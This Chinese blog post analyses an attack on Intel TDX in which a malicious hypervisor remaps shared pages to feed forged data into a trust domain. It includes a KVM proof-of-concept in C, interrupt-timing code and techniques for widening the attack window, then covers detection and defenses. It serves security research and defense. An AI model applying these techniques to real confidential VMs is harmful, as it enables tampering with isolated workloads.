Aug 24 2026 Off 摘要 Intel Trust Domain Extensions 通过内存加密和 MRTD 测量为信任域提供硬件级隔离,使 VM 免受即使已被攻陷的 VMM 的侵害。然而,TD 与 VMM 之间共享内存的设计引入了一个根本性的信任悖论:TD 依赖 VMM 维护的 EPT 映射来访问共享页,而 EPT 由不可信的 VMM 完全控制。攻击者(即恶意 VMM)可在 TD 向共享页写入数据后、读取响应前的极短时间内,将 EPT 中的 GPA→HPA 映射切换到包含恶意数据的物理页,实现 L2 地址劫持。由于 TDX 的运行时 EPT 变更不会被证明报告捕获,该攻击可完全绕过远程验证。 TDX 的信任边界 信任域与不可信 VMMIntel TDX 将虚拟机封装为信任域,其内存由 MKTME(多密钥全内存加密)引擎使用 TD 私钥加密,VMM 无法解密读取。TD 的 CPU 状态、寄存器和缓存也被隔离。远程验证方通过 MRTD(TD 内容的 SHA-384 测量)确认 TD 加载了预期的可信软件栈。 +-------------------------------------------------------+ | 可信域 (TD VM) | | +-------------------------------------------------+ | | | Guest OS / 应用程序 | | | | (内存与寄存器全加密,VMM无法直接访问) | | | +-------------------------------------------------+ | +-------------------------------------------------------+ | (安全调用/API) v (受控接口) +-------------------------------------------------------+ | Intel TDX 模块 (SEAM) | | (运行在 CPU 专属安全仲裁模式,受硬件保护) | | - 内存加密与完整性控制 (MKTME) | | - TD 生命周期管理(创建/销毁/切换) | +-------------------------------------------------------+ | (不可信边界) v (资源申请) +-------------------------------------------------------+ | VMM / Hypervisor (宿主机内核) | | (不具备解密TD内存的能力,属于不信任区) | +-------------------------------------------------------+ 然而,TDX 并非让 TD 完全自给自足。TD 仍需与外部世界交互——网络 I/O、存储、串口控制台——这些都由 VMM 模拟或代理。为此,TDX 引入了共享页:TD 的一部分物理页被标记为共享(shared),它们的加密密钥与 TD 私有页不同,且对 VMM 可见。TD 通过 MMIO 或共享内存环与 VMM 交换数据。EPT 与 L2 地址转换TD 访问内存时使用客户物理地址(GPA)。VMM 通过 EPT 将 GPA 映射为主机物理地址(HPA)。对于 TD 的私有页,EPT 条目被标记为 TD-private,VMM 无法读取其内容。对于共享页,EPT 条目允许 VMM 读写。关键在于:EPT 完全由 VMM 维护,VMM 可以在任何时刻修改任何 GPA 的 HPA 映射。这意味着,TD 对共享页的每一次访问,其实际落到哪个 HPA,完全取决于 VMM 在那一刻的 EPT 配置。TD 无法检查 EPT 是否在两次访问之间发生了变化——这构成了一个根本性的 TOCTOU(检查时间/使用时间)窗口。MMIO 共享通道与竞态窗口在 TDX 的实际部署中,MMIO 模拟是 VMM 与 TD 交互的主要通道。当 TD 执行 MMIO 指令(如 MOV 到 MMIO 地址)时,CPU 触发 EPT_VIOLATION,控制流退出到 VMM。VMM 解析 MMIO 地址,模拟设备行为,将结果写回 TD 的某个寄存器或共享页。 典型的事务流程如下:TD 将一个请求结构体写入共享页 A(GPA_A)。TD 触发 MMIO 写(通知门铃),VM Exit 到 VMM。VMM 读取共享页 A 中的请求,处理后将响应写入共享页 B(GPA_B)。TD 从共享页 B 读取响应。竞态窗口存在于步骤 3 和 4 之间:如果 VMM 在写入响应到 GPA_B 后,立即将 GPA_B 的 EPT 映射切换到另一个 HPA,该 HPA 包含攻击者注入的恶意数据,TD 随后从 GPA_B 读取时,将读到被劫持的数据。 L2 地址劫持攻击链 攻击者模型攻击者是恶意 VMM,或者已经攻陷了 VMM 的软件。攻击者控制 EPT、主机内存分配和中断注入时机。攻击者不需要破解 TD 的加密,也不需要在 TD 内植入恶意代码——只需要操纵 GPA→HPA 映射的时间。共享页的地址劫持攻击者选择一个 TD 用来接收关键数据的共享页,例如虚拟 Virtio 网络设备的接收队列页。攻击流程如下:基线映射:VMM 将 GPA_RX(接收队列页)映射到 HPA_normal,该页包含合法的网络数据。等待 TD 写入完成:TD 向发送队列写入请求,触发 VMM 模拟。VMM 完成模拟后,准备将响应数据写入 HPA_normal。切换 EPT:在 TD 读取接收队列之前,VMM 将 GPA_RX 的 EPT 映射切换到 HPA_malicious。HPA_malicious 中包含了攻击者精心构造的恶意数据——例如伪造的 DHCP 响应、TLS 证书或 SSH 主机密钥。 TD 读取被劫持的数据:TD 从 GPA_RX 读取时,实际读取到 HPA_malicious 的内容。由于 TD 无法检测 EPT 变化,恶意数据被当作合法响应处理,可能导致密钥替换、证书伪造或命令注入。时序控制与窗口放大EPT 切换本身极快(单次 vmwrite 或页表更新),攻击者需要精确知道 TD 何时读取接收队列。通过以下技术可放大窗口:中断注入:VMM 可在切换 EPT 后立即向 TD 注入一个虚拟中断,将 TD 的执行流引导到读取接收队列的代码路径。门铃延迟:VMM 在模拟完成后延迟更新门铃寄存器,使 TD 在更长时间后才尝试读取接收队列。多页切换:同时切换多个共享页的 EPT 映射,增加 TD 在某一时刻命中恶意页的概率。性能计数器监控:VMM 通过 PMU 观察 TD 的缓存命中模式,预测其即将访问的共享页。与 TDX 证明的脱节TDX 的 MRTD 测量的是 TD 加载时的初始内存内容和 CPU 状态。运行时 EPT 变更不会改变 MRTD——因为 EPT 本身不由 TD 测量。远程验证方在验证时看到的 MRTD 是合法的,但运行时 TD 的共享页已经被 VMM 动态劫持。这种“静态测量、动态劫持”的不对称性,是本文攻击的核心。 基于 KVM 的恶意 VMM 共享页劫持 以下 PoC 利用 KVM API 模拟恶意 VMM 的行为:在 TD(用普通 VM 模拟)读取共享页之前,切换 EPT 映射并注入恶意数据。环境搭建在支持 TDX 的硬件上,使用 KVM 和 QEMU 运行一个普通的 Linux VM 作为“TD”,VMM 由自定义的 KVM 用户空间程序实现。为简化演示,使用标准 KVM API(KVM_SET_USER_MEMORY_REGION)来切换内存映射。恶意 VMM 代码 // malicious_vmm.c — 切换共享页 EPT 映射,劫持 TD 读取的数据 // 简化示例:使用 KVM_SET_USER_MEMORY_REGION 模拟 EPT 切换 #include<linux/kvm.h> #include<sys/ioctl.h> #include<fcntl.h> #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #define GPA_RX 0x10000000UL // 接收队列页 #define PAGE_SIZE 4096 // 模拟 EPT 切换:在 TD 读取前改变映射 voidhijack_rx_page(int kvm_fd, int vm_fd, int slot_id, void* malicious_data, size_t len){ structkvm_userspace_memory_regionregion = { .slot = slot_id, .flags = KVM_MEM_LOG_DIRTY_PAGES, .guest_phys_addr = GPA_RX, .memory_size = PAGE_SIZE, .userspace_addr = (unsignedlong)malicious_data, }; // 切换用户空间内存映射(模拟 VMM 修改 EPT 的效果) if (ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, ®ion) < 0) { perror("KVM_SET_USER_MEMORY_REGION"); exit(1); } printf("[+] GPA 0x%lx 已映射到恶意数据缓冲 0x%lx\n", GPA_RX, (unsignedlong)malicious_data); } intmain(){ int kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return1; } int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); return1; } // 分配两个物理页:正常页和恶意页 void* normal_page = aligned_alloc(PAGE_SIZE, PAGE_SIZE); void* malicious_page = aligned_alloc(PAGE_SIZE, PAGE_SIZE); memset(normal_page, 0, PAGE_SIZE); memset(malicious_page, 'M', PAGE_SIZE); // 恶意内容 // 初始映射到正常页 structkvm_userspace_memory_regionregion = { .slot = 0, .flags = 0, .guest_phys_addr = GPA_RX, .memory_size = PAGE_SIZE, .userspace_addr = (unsignedlong)normal_page, }; ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, ®ion); // 模拟 VM 执行... // 在 VM 读取前,切换为恶意页 hijack_rx_page(kvm_fd, vm_fd, 0, malicious_page, PAGE_SIZE); printf("[!] TD 下一次读取 GPA_RX 时将获取恶意数据\n"); getchar(); free(normal_page); free(malicious_page); close(vm_fd); close(kvm_fd); return0; } 说明:该代码模拟了恶意 VMM 的核心操作——在 TD 访问共享页前动态修改用户空间内存映射。在真实的 TDX 环境中,VMM 通过 KVM_SET_USER_MEMORY_REGION 或 vmwrite 修改 EPT,实现相同效果。攻击者可通过 IRQ 注入和延迟控制来稳定触发。门铃与中断的时序控制 // 攻击时序控制:在 EPT 切换后立即注入虚拟中断 voidtrigger_td_read(int vcpu_fd){ structkvm_interruptintr = { .irq = 10 }; // 虚拟 IRQ 10 if (ioctl(vcpu_fd, KVM_INTERRUPT, &intr) < 0) { perror("KVM_INTERRUPT"); } printf("[+] 已注入虚拟中断,引导 TD 读取接收队列\n"); } 在真实 TDX 环境中的扩展在真实 TDX 环境中,VMM 利用 KVM_MEM_PRIVATE 和 KVM_MEM_SHARED 标志管理共享页。攻击者:将共享页标记为 KVM_MEM_SHARED。修改该页的 userspace_addr 指向恶意缓冲。向 TD 注入虚拟中断。TD 读取共享页时,获取恶意数据。 检测与防御 TD 侧防御EPT 变更检测:TD 无法直接读取 EPT,但可以通过测量共享页的访问模式来间接检测。例如,TD 可以在每次读取共享页后,将该页的内容哈希与之前的状态进行比较,若发现异常则触发告警。共享页的非对称映射:TD 为每个共享页分配一个独立的 GPA,并在 TD 初始化时将其映射到固定的 HPA。但这需要 VMM 配合,恶意 VMM 完全可以不遵守。减少共享页的使用:将关键的 MMIO 通信转为通过加密的 virtio-vsock 通道,降低共享页被劫持的影响面。VMM 行为监控EPT 切换频率分析:在宿主机层面使用 perf 监控 vmwrite 的 EPT 相关字段的更新频率。正常的 VMM 不会高频切换同一共享页的映射,异常的频繁切换(例如毫秒级)可能是攻击信号。内存区域隔离:将共享页的 HPA 分配在专用的内存池中,使用 MKTME 的共享密钥加密,即使被劫持也难以注入有意义的恶意数据。远程验证扩展:未来的 TDX 版本可引入“运行时 EPT 证明”,由 TD 在每次读取共享页后查询 EPT 哈希,并周期性发送给远程验证方。硬件演进方向Intel 可在 TDX 2.0 中增加 EPT 变更通知机制:当 VMM 修改 TD 的共享页映射时,CPU 自动在 TD 的测量寄存器中累加一个事件计数。TD 定期将该计数包含在证明报告中,远程验证方可据此检测异常的 EPT 变更频率。 结语 Intel TDX 将信任域从 VMM 的阴影中解放出来,却在共享内存的接缝处留下了一道难以缝合的暗门。L2 地址劫持不依赖任何密码学破解,仅凭 VMM 对 EPT 的天然控制权,即可在 TD 的每一次共享页读取中植入恶意数据。这种攻击的恐怖之处在于,它在静态证明的盲区中悄然运行——测量报告一切正常,TD 却在运行时被反复欺骗。机密计算的安全边界不能止步于启动测量,必须延伸至运行时的内存映射完整性。在硬件提供 EPT 变更证明之前,任何依赖 TDX 共享内存的关键负载,都应当假定自己正在与一个不可信的 VMM 进行一场永无止境的猜疑游戏。 Post navigation Previous PostPrevious AMD SEV-SNP测量欺骗